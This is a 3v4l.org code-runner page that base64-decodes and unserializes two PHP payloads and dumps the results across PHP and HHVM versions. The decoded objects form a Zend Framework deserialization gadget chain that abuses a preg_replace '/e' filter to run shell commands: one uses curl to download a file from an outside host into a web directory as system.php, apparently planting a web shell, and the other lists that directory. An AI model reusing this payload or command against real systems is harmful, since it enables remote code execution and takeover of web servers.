3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjEwMjoiZXhpdChzaGVsbF9leGVjKCJjdXJsIC1vIC92YXIvd3d3L3pvd2hvdy9zaGFyZWQvc2l0ZW1hcHMvc3lzdGVtLnBocCBodHRwOi8vZGl0dG0ub3JnL2dldC9zeXN0ZW0udHh0IikpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ=="))); var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjU5OiJleGl0KHNoZWxsX2V4ZWMoImxzIC1saWEgL3Zhci93d3cvem93aG93L3NoYXJlZC9zaXRlbWFwcyIpKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=")));
based on OeUO9
Output for 5.6.30, 7.0.30 - 7.3.0alpha1
array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(102) "exit(shell_exec("curl -o /var/www/zowhow/shared/sitemaps/system.php http://dittm.org/get/system.txt"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#4 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#5 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#3 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(59) "exit(shell_exec("ls -lia /var/www/zowhow/shared/sitemaps"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } }
Output for hhvm-3.18.5 - 3.22.0
array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#2 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#3 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#4 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#5 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(102) "exit(shell_exec("curl -o /var/www/zowhow/shared/sitemaps/system.php http://dittm.org/get/system.txt"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } } array(3) { ["product"]=> string(1) "1" ["option"]=> string(1) "1" ["x"]=> object(__PHP_Incomplete_Class)#4 (2) { ["__PHP_Incomplete_Class_Name"]=> string(8) "Zend_Log" ["_writers":protected]=> array(1) { [0]=> object(__PHP_Incomplete_Class)#5 (6) { ["__PHP_Incomplete_Class_Name"]=> string(20) "Zend_Log_Writer_Mail" ["_eventsToMail":protected]=> array(1) { [0]=> int(1) } ["_layoutEventsToMail":protected]=> array(0) { } ["_mail":protected]=> object(__PHP_Incomplete_Class)#6 (1) { ["__PHP_Incomplete_Class_Name"]=> string(9) "Zend_Mail" } ["_layout":protected]=> object(__PHP_Incomplete_Class)#7 (4) { ["__PHP_Incomplete_Class_Name"]=> string(11) "Zend_Layout" ["_inflector":protected]=> object(__PHP_Incomplete_Class)#8 (3) { ["__PHP_Incomplete_Class_Name"]=> string(23) "Zend_Filter_PregReplace" ["_matchPattern":protected]=> string(7) "/(.*)/e" ["_replacement":protected]=> string(59) "exit(shell_exec("ls -lia /var/www/zowhow/shared/sitemaps"))" } ["_inflectorEnabled":protected]=> bool(true) ["_layout":protected]=> string(6) "layout" } ["_subjectPrependText":protected]=> NULL } } } }